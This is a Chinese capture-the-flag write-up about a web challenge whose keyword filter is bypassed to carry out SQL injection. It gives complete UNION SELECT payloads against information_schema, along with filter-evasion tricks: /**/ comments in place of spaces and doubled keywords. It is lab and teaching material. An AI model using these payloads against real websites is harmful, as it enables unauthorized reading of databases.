页面显示:到底过滤了什么东西?
所以我们先试试到底是过滤了什么
1 显示正常
1' 不正常
(直接输入的关键字均会被过滤)
1 union select 显示:1 select
1 union select table_name 显示:1 table_name
1 unionunion select 显示:1 unionselect
1 unionunion select table_name 显示:1 uniontable_name
我们可以发现会过滤掉关键字,但是好像只能过滤掉后面有空格的关键字(会将其后面的空格一并过滤掉)
于是我们可以想办法绕过这个空格:
策略一:用++或/**/绕过(较简单,因为这样关键字不会被过滤)
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
后面单独的'用了闭合掉一个'号
最下面看到flag表,于是再用1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag 却发现column_name和information_schema.columns被过滤掉了
所以用:1'/**/union/**/select/**/columncolumn_name_name/**/from/**/informationinformation_schema.columns_schema.columns/**/where/**/table_name='flag 得到
得到flag这个column,再查找其内容:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
就拿到flag了。
策略二:双写加双空格绕过(用的上面的图)
1.首先,暴表:1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1
2.爆字段:这个和上面一样有过滤
1' unionunion selectselect columncolumn_name_name fromfrom information_schemainformation_schema.columns.columns wherewhere table_name='flag
3.爆内容:1' unionunion selectselect flag fromfrom flag wherewhere '1'='1
就拿到flag了。